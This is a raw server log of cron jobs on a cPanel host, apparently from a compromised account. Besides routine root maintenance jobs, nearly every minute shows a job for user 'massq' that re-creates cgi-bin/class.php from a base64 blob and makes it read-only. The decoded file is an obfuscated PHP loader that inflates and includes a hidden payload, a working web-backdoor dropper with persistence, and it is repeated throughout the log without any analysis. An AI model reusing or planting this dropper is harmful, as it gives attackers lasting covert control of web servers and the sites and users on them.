Sep  9 12:50:01 server CROND[29173]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:50:01 server CROND[29176]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 12:50:01 server CROND[29169]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 12:50:01 server CROND[29174]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 12:50:01 server CROND[29175]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 12:51:01 server CROND[30095]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:51:01 server CROND[30096]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:51:01 server CROND[30097]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 12:52:01 server CROND[30471]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:52:01 server CROND[30473]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:52:01 server CROND[30472]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 12:53:01 server CROND[30841]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 12:53:01 server CROND[30842]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:53:01 server CROND[30843]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:54:01 server CROND[31209]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:54:01 server CROND[31210]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 12:54:01 server CROND[31211]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:55:01 server CROND[31603]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 12:55:01 server CROND[31606]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 12:55:01 server CROND[31609]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 12:55:01 server CROND[31610]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:55:01 server CROND[31622]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 12:55:01 server CROND[31624]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 12:55:01 server CROND[31626]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:56:01 server CROND[32433]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 12:56:01 server CROND[32434]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:56:01 server CROND[32435]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:57:01 server CROND[445]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 12:57:01 server CROND[446]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 12:57:01 server CROND[448]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:57:01 server CROND[447]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:58:01 server CROND[857]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:58:01 server CROND[858]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:58:01 server CROND[859]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 12:59:01 server CROND[1317]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 12:59:01 server CROND[1318]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 12:59:01 server CROND[1319]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 13:00:01 server CROND[1703]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 13:00:01 server CROND[1708]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 13:00:01 server CROND[1717]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 13:00:01 server CROND[1720]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 13:00:01 server CROND[1716]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  9 13:00:01 server CROND[1719]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 13:00:01 server CROND[1722]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:00:01 server CROND[1713]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 13:00:01 server CROND[1721]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:01:01 server CROND[2577]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 13:01:01 server CROND[2578]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 13:01:01 server CROND[2579]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 13:01:01 server CROND[2580]: (root) CMD (run-parts /etc/cron.hourly)
Sep  9 13:01:01 server run-parts(/etc/cron.hourly)[2580]: starting 0anacron
